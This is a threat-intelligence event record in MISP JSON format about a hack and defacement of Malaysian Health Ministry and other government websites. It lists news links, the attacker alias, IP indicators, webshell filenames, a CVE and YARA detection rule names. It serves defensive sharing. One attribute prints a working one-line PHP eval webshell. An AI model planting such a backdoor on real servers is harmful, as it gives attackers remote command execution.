{
  "Event": {
    "analysis": "1",
    "date": "2026-06-27",
    "extends_uuid": "ea38e84d-0b8f-47bf-baa7-6e4a76ce61f6",
    "info": "[Threat Intel] Nacsa says Health Ministry, other govt agency websites hacked; urges immediate patch to fix vulnerability",
    "protected": false,
    "publish_timestamp": "1782632604",
    "published": true,
    "threat_level_id": "2",
    "timestamp": "1782632583",
    "uuid": "409f7b4d-207e-4bad-8938-248248604dd4",
    "Orgc": {
      "name": "Rectifyq",
      "uuid": "cd9bd516-61fa-476b-980f-2f8de03992d4"
    },
    "Tag": [
      {
        "colour": "#0088cc",
        "local": false,
        "name": "misp-galaxy:target-information=\"Malaysia\"",
        "relationship_type": ""
      },
      {
        "colour": "#ffffff",
        "local": false,
        "name": "tlp:clear",
        "relationship_type": ""
      },
      {
        "colour": "#004646",
        "local": false,
        "name": "type:OSINT",
        "relationship_type": ""
      },
      {
        "colour": "#49a260",
        "local": false,
        "name": "rectifyq:category=\"threat\"",
        "relationship_type": ""
      },
      {
        "colour": "#150050",
        "local": false,
        "name": "rectifyq:sub-category=\"report\"",
        "relationship_type": ""
      },
      {
        "colour": "#170057",
        "local": false,
        "name": "rectifyq:sub-category=\"critical-vuln\"",
        "relationship_type": ""
      },
      {
        "colour": "#d92121",
        "local": false,
        "name": "rectifyq:target=\"targeted\"",
        "relationship_type": ""
      },
      {
        "colour": "#dd2e44",
        "local": false,
        "name": "rectifyq:MY-relevancy=\"relevant\"",
        "relationship_type": ""
      },
      {
        "colour": "#0088cc",
        "local": false,
        "name": "misp-galaxy:sector=\"Government, Administration\"",
        "relationship_type": ""
      },
      {
        "colour": "#626567",
        "local": false,
        "name": "rectifyq:no-samples-in=\"MalwareBazaar\"",
        "relationship_type": ""
      },
      {
        "colour": "#626567",
        "local": false,
        "name": "rectifyq:no-samples-in=\"Tria.ge\"",
        "relationship_type": ""
      },
      {
        "colour": "#9feaf0",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Exploit Public-Facing Application - T1190\"",
        "relationship_type": ""
      },
      {
        "colour": "#0088cc",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Exploit public-facing application - T1377\"",
        "relationship_type": ""
      },
      {
        "colour": "#0088cc",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Web Shell - T1100\"",
        "relationship_type": ""
      },
      {
        "colour": "#fe1ef0",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Web Shell - T1505.003\"",
        "relationship_type": ""
      },
      {
        "colour": "#eb2300",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Defacement - T1491\"",
        "relationship_type": ""
      },
      {
        "colour": "#7d37d8",
        "local": false,
        "name": "misp-galaxy:mitre-attack-pattern=\"Python - T1059.006\"",
        "relationship_type": ""
      },
      {
        "colour": "#230087",
        "local": false,
        "name": "rectifyq:samples-found-in=\"Tria.ge\"",
        "relationship_type": ""
      }
    ],
    "Attribute": [
      {
        "category": "External analysis",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1782559778",
        "to_ids": false,
        "type": "link",
        "uuid": "7b3461fc-9ebd-4ec0-a9c7-0a8fb87fffa1",
        "value": "https://www.thestar.com.my/tech/tech-news/2026/06/27/nacsa-issues-advisory-on-critical-vulnerability-related-to-hack-of-health-ministrys-website"
      },
      {
        "category": "External analysis",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1782559778",
        "to_ids": false,
        "type": "link",
        "uuid": "cdb698f2-ad56-4305-9777-d6f7accfacb2",
        "value": "https://www.lowyat.net/2026/397029/moh-main-page-appears-to-have-been-hacked-by-anonymous/"
      },
      {
        "category": "External analysis",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1782559778",
        "to_ids": false,
        "type": "link",
        "uuid": "44c78706-3a23-4fba-a04d-73b372037698",
        "value": "https://www.malaymail.com/news/malaysia/2026/06/27/moh-website-hacked-ministry-warns-malaysians-avoid-site-and-rely-on-verified-platforms/225402"
      },
      {
        "category": "External analysis",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1782559778",
        "to_ids": false,
        "type": "link",
        "uuid": "0c4aa96a-d196-4166-99f9-5eaef00a3882",
        "value": "https://www.nst.com.my/news/nation/2026/06/1473852/health-ministry-website-hacked"
      },
      {
        "category": "External analysis",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1782559778",
        "to_ids": false,
        "type": "link",
        "uuid": "9dc56199-9305-4a88-b7ff-96f2b4d42318",
        "value": "https://www.reddit.com/r/malaysia/comments/1ugoume/moh_kena_hacked/"
      },
      {
        "category": "External analysis",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1782559778",
        "to_ids": false,
        "type": "link",
        "uuid": "7492c168-6d69-4f2a-bfaf-095cc26815ee",
        "value": "https://www.threads.com/@foodbeverageloves/post/DaDvikJGWQV/security-department-mesti-tgh-busy-ni/"
      },
      {
        "category": "Attribution",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1782559886",
        "to_ids": false,
        "type": "threat-actor",
        "uuid": "7d6029de-f88f-41cf-9558-04a915d6b316",
        "value": "Mushr00w"
      },
      {
        "category": "Network activity",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1782559987",
        "to_ids": true,
        "type": "url",
        "uuid": "7aa1a0d4-fa06-4f6e-87c2-0282359521fe",
        "value": "https://t.me/Mushr00w"
      },
      {
        "category": "Other",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1782560044",
        "to_ids": false,
        "type": "text",
        "uuid": "9e2a465a-559c-4808-ad3b-125f50507e75",
        "value": "We are Anonymous. We are Legion. We do not forgive. We do not forget. Expect us.\" Greets: WebshellSR Famila - MeshSec - Illegalplatform.org - Roween."
      },
      {
        "category": "External analysis",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1782560256",
        "to_ids": false,
        "type": "link",
        "uuid": "2dd90b03-8ee4-47d1-a700-0cffb681fc47",
        "value": "https://www.zone-h.org/archive/notifier=Mushr00w"
      },
      {
        "category": "External analysis",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1782560256",
        "to_ids": false,
        "type": "link",
        "uuid": "523159ee-24db-46ac-ba38-3b8cd56a9dd1",
        "value": "https://www.zone-h.org/mirror/id/42570843"
      },
      {
        "category": "Network activity",
        "comment": "moh.gov.my",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1782627521",
        "to_ids": true,
        "type": "ip-dst",
        "uuid": "55085ee1-a2fa-430b-8514-9f7d9c60313b",
        "value": "103.233.161.81",
        "Tag": [
          {
            "colour": "#f88140",
            "local": false,
            "name": "asn:asn=\"141201\"",
            "relationship_type": ""
          },
          {
            "colour": "#e033c1",
            "local": false,
            "name": "asn:as-owner=\"JDN-AS-MY Jabatan Digital Negara JDN\"",
            "relationship_type": ""
          },
          {
            "colour": "#12ee4d",
            "local": false,
            "name": "asn:as-country=\"MY\"",
            "relationship_type": ""
          },
          {
            "colour": "#0088cc",
            "local": false,
            "name": "misp-galaxy:country=\"malaysia\"",
            "relationship_type": ""
          },
          {
            "colour": "#0088cc",
            "local": false,
            "name": "misp-galaxy:software-vendor=\"nginx\"",
            "relationship_type": ""
          }
        ]
      },
      {
        "category": "Network activity",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1782560311",
        "to_ids": true,
        "type": "hostname",
        "uuid": "8871b3ff-a818-49ad-a61b-9d7bdcbb39b9",
        "value": "moh.gov.my"
      },
      {
        "category": "Network activity",
        "comment": "Malicious Infrastructure / Command and Control (C2",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1782608993",
        "to_ids": true,
        "type": "ip-dst",
        "uuid": "e156cae0-440e-40d9-ba20-d6437e72629e",
        "value": "193.200.134.44",
        "Tag": [
          {
            "colour": "#ca1de0",
            "local": false,
            "name": "asn:asn=\"42960\"",
            "relationship_type": ""
          },
          {
            "colour": "#0f0328",
            "local": false,
            "name": "asn:as-owner=\"VH-GLOBAL VH Global Limited\"",
            "relationship_type": ""
          },
          {
            "colour": "#fbf8fb",
            "local": false,
            "name": "asn:as-country=\"HK\"",
            "relationship_type": ""
          },
          {
            "colour": "#daa28c",
            "local": false,
            "name": "misp-galaxy:country=\"hong kong\"",
            "relationship_type": ""
          }
        ]
      },
      {
        "category": "Network activity",
        "comment": "Vulnerability Scanner / Probing Host / Persistent Scout Bot / Active Scanner",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1782631298",
        "to_ids": true,
        "type": "ip-dst",
        "uuid": "31ca02b7-daee-4565-94e7-d74788ce5a0b",
        "value": "20.226.81.217",
        "Tag": [
          {
            "colour": "#4d7cde",
            "local": false,
            "name": "asn:asn=\"8075\"",
            "relationship_type": ""
          },
          {
            "colour": "#61ef58",
            "local": false,
            "name": "asn:as-owner=\"MICROSOFT-CORP-MSN-AS-BLOCK\"",
            "relationship_type": ""
          },
          {
            "colour": "#d16c37",
            "local": false,
            "name": "asn:as-country=\"US\"",
            "relationship_type": ""
          },
          {
            "colour": "#0088cc",
            "local": false,
            "name": "misp-galaxy:country=\"united states of america\"",
            "relationship_type": ""
          }
        ]
      },
      {
        "category": "Network activity",
        "comment": "IP sekunder yang digunakan oleh penyerang pada sebelah malam untuk mengakses semula webshell dan memuat naik komponen/skrip tambahan ke dalam pelayan (server) - Malicious Proxy",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1782631311",
        "to_ids": true,
        "type": "ip-dst",
        "uuid": "c1fd6b30-97ea-4a25-b7ce-80d46e22b3a2",
        "value": "35.220.187.228",
        "Tag": [
          {
            "colour": "#661a1f",
            "local": false,
            "name": "asn:asn=\"396982\"",
            "relationship_type": ""
          },
          {
            "colour": "#b21243",
            "local": false,
            "name": "asn:as-owner=\"GOOGLE-CLOUD-PLATFORM\"",
            "relationship_type": ""
          },
          {
            "colour": "#d16c37",
            "local": false,
            "name": "asn:as-country=\"US\"",
            "relationship_type": ""
          },
          {
            "colour": "#0088cc",
            "local": false,
            "name": "misp-galaxy:country=\"united states of america\"",
            "relationship_type": ""
          }
        ]
      },
      {
        "category": "Network activity",
        "comment": "Active Attacker Node",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1782631324",
        "to_ids": true,
        "type": "ip-dst",
        "uuid": "e81a42f1-e770-4ac6-925c-b0082496e472",
        "value": "188.119.20.75",
        "Tag": [
          {
            "colour": "#07de47",
            "local": false,
            "name": "asn:asn=\"12735\"",
            "relationship_type": ""
          },
          {
            "colour": "#e61ef5",
            "local": false,
            "name": "asn:as-owner=\"ASTURKNET\"",
            "relationship_type": ""
          },
          {
            "colour": "#0c8c8d",
            "local": false,
            "name": "asn:as-country=\"TR\"",
            "relationship_type": ""
          },
          {
            "colour": "#ae20ff",
            "local": false,
            "name": "misp-galaxy:country=\"turkey\"",
            "relationship_type": ""
          }
        ]
      },
      {
        "category": "Network activity",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1782627132",
        "to_ids": true,
        "type": "url",
        "uuid": "a6653664-62b0-4ddc-a385-315e03aacb20",
        "value": "https://t.me/WebshellSR"
      },
      {
        "category": "Payload delivery",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1782627242",
        "to_ids": true,
        "type": "filename",
        "uuid": "2cb8765c-26eb-4ba2-af09-b26f32df1bcb",
        "value": "alfa.php"
      },
      {
        "category": "Payload delivery",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1782627242",
        "to_ids": true,
        "type": "filename",
        "uuid": "d663c0b4-bf15-41f7-b7ba-5b9ec497755e",
        "value": "mushroom_shell.php"
      },
      {
        "category": "Payload delivery",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1782627242",
        "to_ids": true,
        "type": "filename",
        "uuid": "8ed31e09-6571-4cdc-95f5-4f64519a9d49",
        "value": "Mushr00w_proof.php"
      },
      {
        "category": "Payload delivery",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1782627242",
        "to_ids": true,
        "type": "filename",
        "uuid": "0d43930b-3214-4f1d-9765-e70e622984cf",
        "value": "r3d0.php"
      },
      {
        "category": "Payload delivery",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1782627242",
        "to_ids": true,
        "type": "filename",
        "uuid": "1dc4eae2-7a0c-4c94-89fe-77f068452f20",
        "value": "allen.php"
      },
      {
        "category": "Other",
        "comment": "thoms.php",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1782627261",
        "to_ids": false,
        "type": "text",
        "uuid": "51788e11-7e5a-40b1-8455-29f866706435",
        "value": "<?php @eval($_POST['cmd']); ?>"
      },
      {
        "category": "External analysis",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1782627625",
        "to_ids": false,
        "type": "vulnerability",
        "uuid": "4922d0b0-3db5-4b3f-9056-a2f7f8b3f602",
        "value": "CVE-2026-48907"
      }
    ],
    "Object": [
      {
        "comment": "",
        "deleted": false,
        "description": "File object describing a file with meta-information",
        "meta-category": "file",
        "name": "file",
        "template_uuid": "688c46fb-5edb-40a3-8273-1af7923e2215",
        "template_version": "25",
        "timestamp": "1782631714",
        "uuid": "176f43e1-e289-4227-952c-4553e7cf3ab4",
        "ObjectReference": [
          {
            "comment": "",
            "object_uuid": "e1e11c18-77e7-4655-93a5-f03f49f76181",
            "referenced_uuid": "51788e11-7e5a-40b1-8455-29f866706435",
            "relationship_type": "contains",
            "timestamp": "1782627346",
            "uuid": "da882e0c-e39a-43e8-bc41-864876a99048"
          }
        ],
        "Attribute": []
      },
      {
        "comment": "0009892e6b",
        "deleted": false,
        "description": "An object describing a YARA rule (or a YARA rule name), its supported YARA version, and optional test-sample hashes. Test samples are true-positive by default; set false-positive=true when needed.",
        "meta-category": "misc",
        "name": "yara",
        "template_uuid": "b5acf82e-ecca-4868-82fe-9dbdf4d808c3",
        "template_version": "9",
        "timestamp": "1782631453",
        "uuid": "6a7434b5-ba07-4ba6-8219-104cd083f015",
        "Attribute": [
          {
            "category": "Other",
            "comment": "0009892e6b",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "yara-rule-name",
            "timestamp": "1782631453",
            "to_ids": false,
            "type": "text",
            "uuid": "1ba464bc-a349-4433-a3e9-e9f0cea70cef",
            "value": "webshell_PHP_r57142"
          },
          {
            "category": "External analysis",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "reference",
            "timestamp": "1782631453",
            "to_ids": false,
            "type": "link",
            "uuid": "c4bbd2c8-1c60-48bd-b801-7aef664d4051",
            "value": "https://github.com/Neo23x0/signature-base"
          },
          {
            "category": "Other",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "comment",
            "timestamp": "1782631453",
            "to_ids": false,
            "type": "comment",
            "uuid": "bf59e0ce-a70d-4514-b33b-53a82190d5c6",
            "value": "Ruleset Name: thor-webshells\nDescription: Web Shell - file r57142.php\nRule Author: Florian Roth (Nextron Systems)"
          }
        ]
      },
      {
        "comment": "01af3f791f",
        "deleted": false,
        "description": "An object describing a YARA rule (or a YARA rule name), its supported YARA version, and optional test-sample hashes. Test samples are true-positive by default; set false-positive=true when needed.",
        "meta-category": "misc",
        "name": "yara",
        "template_uuid": "b5acf82e-ecca-4868-82fe-9dbdf4d808c3",
        "template_version": "9",
        "timestamp": "1782631453",
        "uuid": "11f36d39-ab11-448a-9d8f-18d0a7b92c9a",
        "Attribute": [
          {
            "category": "Other",
            "comment": "01af3f791f",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "yara-rule-name",
            "timestamp": "1782631453",
            "to_ids": false,
            "type": "text",
            "uuid": "44eb2a12-9617-4eed-bb38-8501809bd69e",
            "value": "webshell_wso_webshell_strings"
          },
          {
            "category": "External analysis",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "reference",
            "timestamp": "1782631453",
            "to_ids": false,
            "type": "link",
            "uuid": "15b5198c-a812-430f-8c1f-b4ab08b2aa6e",
            "value": "https://github.com/SEKOIA-IO/Community"
          },
          {
            "category": "Other",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "comment",
            "timestamp": "1782631453",
            "to_ids": false,
            "type": "comment",
            "uuid": "e5c3c344-2e56-40ca-b65c-e3e7d9254471",
            "value": "Ruleset Name: webshell_wso_webshell_strings\nDescription: Detects the WSO webshells\nRule Author: Sekoia.io"
          }
        ]
      },
      {
        "comment": "0122bae1e9",
        "deleted": false,
        "description": "An object describing a YARA rule (or a YARA rule name), its supported YARA version, and optional test-sample hashes. Test samples are true-positive by default; set false-positive=true when needed.",
        "meta-category": "misc",
        "name": "yara",
        "template_uuid": "b5acf82e-ecca-4868-82fe-9dbdf4d808c3",
        "template_version": "9",
        "timestamp": "1782631453",
        "uuid": "2408fdb6-97bb-4ceb-810f-d9566a91b6fb",
        "Attribute": [
          {
            "category": "Other",
            "comment": "0122bae1e9",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "yara-rule-name",
            "timestamp": "1782631453",
            "to_ids": false,
            "type": "text",
            "uuid": "e839bfed-fd47-4852-99c9-0ebf05f690f8",
            "value": "Base64_Encoded_URL"
          },
          {
            "category": "External analysis",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "reference",
            "timestamp": "1782631453",
            "to_ids": false,
            "type": "link",
            "uuid": "b4017296-80c3-4eed-bf5b-4260b9eeef2c",
            "value": "https://github.com/InQuest/yara-rules-vt"
          },
          {
            "category": "Other",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "comment",
            "timestamp": "1782631453",
            "to_ids": false,
            "type": "comment",
            "uuid": "e172c731-693a-40c6-8dc6-f3bd7e6e42c0",
            "value": "Ruleset Name: Base64_Encoded_URL\nDescription: This signature fires on the presence of Base64 encoded URI prefixes (http:// and https://) across any file. The simple presence of such strings is not inherently an indicator of malicious content, but is worth further investigation.\nRule Author: InQuest Labs"
          }
        ]
      },
      {
        "comment": "0122a7f913",
        "deleted": false,
        "description": "An object describing a YARA rule (or a YARA rule name), its supported YARA version, and optional test-sample hashes. Test samples are true-positive by default; set false-positive=true when needed.",
        "meta-category": "misc",
        "name": "yara",
        "template_uuid": "b5acf82e-ecca-4868-82fe-9dbdf4d808c3",
        "template_version": "9",
        "timestamp": "1782631453",
        "uuid": "9436b8ec-46c5-48aa-a5b6-94b5160d0fb5",
        "Attribute": [
          {
            "category": "Other",
            "comment": "0122a7f913",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "yara-rule-name",
            "timestamp": "1782631453",
            "to_ids": false,
            "type": "text",
            "uuid": "ecdcb21e-142f-40b2-a9f8-6bfca0a512b3",
            "value": "Windows_API_Function"
          },
          {
            "category": "External analysis",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "reference",
            "timestamp": "1782631453",
            "to_ids": false,
            "type": "link",
            "uuid": "276a42d3-5af9-4032-b2dc-738b6a234f72",
            "value": "https://github.com/InQuest/yara-rules-vt"
          },
          {
            "category": "Other",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "comment",
            "timestamp": "1782631453",
            "to_ids": false,
            "type": "comment",
            "uuid": "e9823a27-bc2f-46dd-90f1-04b86cab84a0",
            "value": "Ruleset Nam%WINDIR%\\API_Function\nDescription: This signature detects the presence of a number of Windows API functionality often seen within embedded executables. When this signature alerts on an executable, it is not an indication of malicious behavior. However, if seen firing in other file types, deeper investigation may be warranted.\nRule Author: InQuest Labs"
          }
        ]
      },
      {
        "comment": "0000cff8ce",
        "deleted": false,
        "description": "An object describing a YARA rule (or a YARA rule name), its supported YARA version, and optional test-sample hashes. Test samples are true-positive by default; set false-positive=true when needed.",
        "meta-category": "misc",
        "name": "yara",
        "template_uuid": "b5acf82e-ecca-4868-82fe-9dbdf4d808c3",
        "template_version": "9",
        "timestamp": "1782631453",
        "uuid": "1591bfac-0f63-4823-9d4e-a83da0e3ae7b",
        "Attribute": [
          {
            "category": "Other",
            "comment": "0000cff8ce",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "yara-rule-name",
            "timestamp": "1782631453",
            "to_ids": false,
            "type": "text",
            "uuid": "baaf6bd3-4f3b-465e-82ab-03ae7ae9f62e",
            "value": "Recon_Commands_Windows_Gen1"
          },
          {
            "category": "External analysis",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "reference",
            "timestamp": "1782631453",
            "to_ids": false,
            "type": "link",
            "uuid": "75a0768e-6fd4-4bb6-a472-13b19dd3395b",
            "value": "https://github.com/Neo23x0/signature-base"
          },
          {
            "category": "Other",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "comment",
            "timestamp": "1782631453",
            "to_ids": false,
            "type": "comment",
            "uuid": "2ce3b858-9cc7-4037-bc2d-74bef2f8e5d4",
            "value": "Ruleset Name: gen_recon_indicators\nDescription: Detects a set of reconnaissance commands on Windows systems\nRule Author: Florian Roth (Nextron Systems)"
          }
        ]
      },
      {
        "comment": "0007bbfc16",
        "deleted": false,
        "description": "An object describing a YARA rule (or a YARA rule name), its supported YARA version, and optional test-sample hashes. Test samples are true-positive by default; set false-positive=true when needed.",
        "meta-category": "misc",
        "name": "yara",
        "template_uuid": "b5acf82e-ecca-4868-82fe-9dbdf4d808c3",
        "template_version": "9",
        "timestamp": "1782631453",
        "uuid": "2437ee66-57b6-4034-8fb4-e37aedcb7043",
        "Attribute": [
          {
            "category": "Other",
            "comment": "0007bbfc16",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "yara-rule-name",
            "timestamp": "1782631453",
            "to_ids": false,
            "type": "text",
            "uuid": "3bae7aca-5298-426f-80b5-91661b43bbd5",
            "value": "EXT_WEBSHELL_PHP_Generic"
          },
          {
            "category": "External analysis",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "reference",
            "timestamp": "1782631453",
            "to_ids": false,
            "type": "link",
            "uuid": "250ab5a7-eff5-4889-b2de-da6212516b9e",
            "value": "https://github.com/Neo23x0/signature-base"
          },
          {
            "category": "Other",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "comment",
            "timestamp": "1782631453",
            "to_ids": false,
            "type": "comment",
            "uuid": "7ee43c79-5e00-476f-8d36-77c79fa42086",
            "value": "Ruleset Name: gen_webshells\nDescription: php webshell having some kind of input and some kind of payload. restricted to small files or big ones including suspicious strings\nRule Author: Arnim Rupp (https://github.com/ruppde)"
          }
        ]
      },
      {
        "comment": "0007bbfc16",
        "deleted": false,
        "description": "An object describing a YARA rule (or a YARA rule name), its supported YARA version, and optional test-sample hashes. Test samples are true-positive by default; set false-positive=true when needed.",
        "meta-category": "misc",
        "name": "yara",
        "template_uuid": "b5acf82e-ecca-4868-82fe-9dbdf4d808c3",
        "template_version": "9",
        "timestamp": "1782631453",
        "uuid": "37fab88a-ced7-4416-a651-c70d4a6f934a",
        "Attribute": [
          {
            "category": "Other",
            "comment": "0007bbfc16",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "yara-rule-name",
            "timestamp": "1782631453",
            "to_ids": false,
            "type": "text",
            "uuid": "ad7747f2-0dd2-41b6-9086-68efdb67d741",
            "value": "WEBSHELL_PHP_Gzinflated"
          },
          {
            "category": "External analysis",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "reference",
            "timestamp": "1782631453",
            "to_ids": false,
            "type": "link",
            "uuid": "2d8c51af-accd-4dac-9cf5-8b307330437f",
            "value": "https://github.com/Neo23x0/signature-base"
          },
          {
            "category": "Other",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "comment",
            "timestamp": "1782631453",
            "to_ids": false,
            "type": "comment",
            "uuid": "0e0a59e8-9ab2-436a-bf9b-fd4d901b0d1d",
            "value": "Ruleset Name: gen_webshells\nDescription: PHP webshell which directly eval()s obfuscated string\nRule Author: Arnim Rupp (https://github.com/ruppde)"
          }
        ]
      },
      {
        "comment": "0007bbfc16",
        "deleted": false,
        "description": "An object describing a YARA rule (or a YARA rule name), its supported YARA version, and optional test-sample hashes. Test samples are true-positive by default; set false-positive=true when needed.",
        "meta-category": "misc",
        "name": "yara",
        "template_uuid": "b5acf82e-ecca-4868-82fe-9dbdf4d808c3",
        "template_version": "9",
        "timestamp": "1782631453",
        "uuid": "d9a00c73-c7ff-4fe2-8eec-84b085e8dd49",
        "Attribute": [
          {
            "category": "Other",
            "comment": "0007bbfc16",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "yara-rule-name",
            "timestamp": "1782631453",
            "to_ids": false,
            "type": "text",
            "uuid": "e964b065-8a96-45c6-9b16-db19e33aa05d",
            "value": "WEBSHELL_PHP_Dynamic_Big"
          },
          {
            "category": "External analysis",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "reference",
            "timestamp": "1782631453",
            "to_ids": false,
            "type": "link",
            "uuid": "1ad46775-8046-400d-accf-b7d49e5d5c56",
            "value": "https://github.com/Neo23x0/signature-base"
          },
          {
            "category": "Other",
            "comment": "",
            "deleted": false,
            "disable_correlation": false,
            "object_relation": "comment",
            "timestamp": "1782631453",
            "to_ids": false,
            "type": "comment",
            "uuid": "703f8e31-152c-4576-8607-855e643a488d",
            "value": "Ruleset Name: gen_webshells\nDescription: PHP webshell using $a($code) for kind of eval with encoded blob to decode, e.g. b374k\nRule Author: Arnim Rupp (https://github.com/ruppde)"
          }
        ]
      }
    ]
  }
}